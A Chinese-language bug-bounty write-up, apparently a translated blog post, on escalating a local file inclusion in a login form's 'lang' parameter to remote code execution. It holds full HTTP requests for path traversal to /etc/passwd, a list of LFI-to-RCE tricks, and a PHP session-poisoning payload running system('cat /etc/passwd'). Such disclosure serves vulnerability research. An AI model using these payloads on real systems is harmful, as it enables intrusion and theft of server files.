导语:我最近在一个小众的赏金程序中遇到一个有趣的本地文件包含漏洞,后来,我发现我能够将这个本地文件包含漏洞升级到远程执行代码。
我最近在一个小众的赏金程序中遇到一个有趣的本地文件包含漏洞,后来,我发现我能够将这个本地文件包含漏洞升级到远程执行代码。关于这一点的一个有趣的事实是它与我们平常所遇见的本地文件包含漏洞有所不同,不同之处就在于我遇到的这个环境中的底层操作系统安全做的非常好,几乎所有我们通常用来发挥本地文件包含漏洞的方法都被阻止或者执行失败。
所以我在这里写了一个简短的博文,一方面方便你可以利用这个方法利用你发现的LFI,同时,我也想给和我一样的赏金猎人同胞@smiegles做个分享和提示!
奖金点:在登录表单上存在一个未经身份验证的远程代码执行漏洞 。
一个简单的本地文件包含漏洞
在访问管理上传接口之前,易受攻击的Web应用程序基本上需要某种形式的身份验证,才可以进行管理操作。但是,这种时候,应用程序可能会使用到一个用来指定用于该接口的语言的参数:
POST /upload/? HTTP/1.1 Host: vulnerable.redacted.com User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 44 Connection: close Upgrade-Insecure-Requests: 1 login=1&user=admin&pass=admin&lang=en_us.php
所以从请求中来看,首先利用这一点是非常明显的,你只需要在这个语言参数中进行路径遍历就可以了:
POST /upload/? HTTP/1.1 Host: vulnerable.redacted.com User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 75 Connection: close Upgrade-Insecure-Requests: 1 login=1&user=admin&pass=admin&lang=../../../../../../../../../../etc/passwd
通过上面的请求,我可以很简单快速的获取/etc/passwd文件的内容,并在HTTP响应中回传文件内容。
从LFI升级到RCE的一些常见方法
目前来讲,通常当我在找到LFI时,我首先会尝试将其转换为远程代码执行漏洞进行利用,然后再报告给厂商,因为RCE漏洞通常会比LFI更值钱啊;-)。
所以就有各种不同的技巧可以将你发现的LFI变成RCE,例如:
1. 使用文件上传表单或函数 2. 使用 PHP 封装器的 expect://command 3. 使用 PHP 封装器的php://file 4. 使用 PHP 封装器的php://filter 5. 使用 PHP 的input://stream 6. 使用 data://text/plain;base64,command 7. 使用/proc/self/environ 8. 使用/proc/self/fd 9. 使用如下一些可控的日志文件: a) /var/log/apache/access.log b) /var/log/apache/error.log c) /var/log/vsftpd.log d) /var/log/sshd.log e) /var/log/mail
不幸的是,我在本文所描述的这个系统环境相当变态,Apache进程没有启用必要的包装器,也没有访问任何日志文件或/proc,所以上述任何一种方式都会默默地失败,应用程序只是返回其正常的“身份验证失败“的响应内容。
利用PHP会话值执行RCE使用控制
在尝试找到一种方法来执行任意代码而无需访问管理界面时,我注意到了Web应用程序的一个非常有趣的行为。尝试使用诸如admin / admin等无效凭据进行身份验证时就会出现一个惊喜:
POST /upload/? HTTP/1.1 Host: vulnerable.redacted.com User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 44 Connection: close Upgrade-Insecure-Requests: 1 login=1&user=admin&pass=admin&lang=en_us.php
你会发现应用程序发出了几个Set-Cookie指令,如下所示,我强烈地怀疑认证请求中的值可能存储在服务器端的PHP会话中:
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly Set-Cookie: pass=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
你可能会知道,在PHP5中,默认情况下存储session的路径是 /var/lib/php5/sess_[PHPSESSID] – 所以上面发布的会话“i56kgbsq9rm8ndg3qbarhsbm27”将存储在/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27 中。
当使用以前发现的LFI漏洞查看会话文件内容时:
POST /upload/? HTTP/1.1 Host: vulnerable.redacted.com User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27 Content-Length: 107 Connection: close Upgrade-Insecure-Requests: 1 login=1&user=admin&pass=admin&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
session文件的内容甚至更能说明问题:
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
所以这个导致的结果就是,使用任意的PHP代码作为用户名:
POST /upload/? HTTP/1.1 Host: vulnerable.redacted.com User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27 Content-Length: 134 Connection: close Upgrade-Insecure-Requests: 1 login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
这会导致Set-Cookie指令(因此会在会话文件中存储)设置了我所指定的任意值:
Set-Cookie: user=%3C%3Fphp+system%28%22cat+%2Fetc%2Fpasswd%22%29%3B%3F%3E; expires=Mon, 13-Aug-2018 20:40:53 GMT; path=/; httponly
会话文件可以再次使用LFI进行包含并执行我前面提交的PHP代码(请注意,你需要从请求中删除cookie,否则会被覆盖原来存储的PHP代码并且有效载荷将执行失败):
POST /upload/? HTTP/1.1 Host: vulnerable.redacted.com User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 141 Connection: close Upgrade-Insecure-Requests: 1 login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
最终,成功导致远程代码执行:
顺便提醒大家:永远不要忘记清理你的会话变量哦!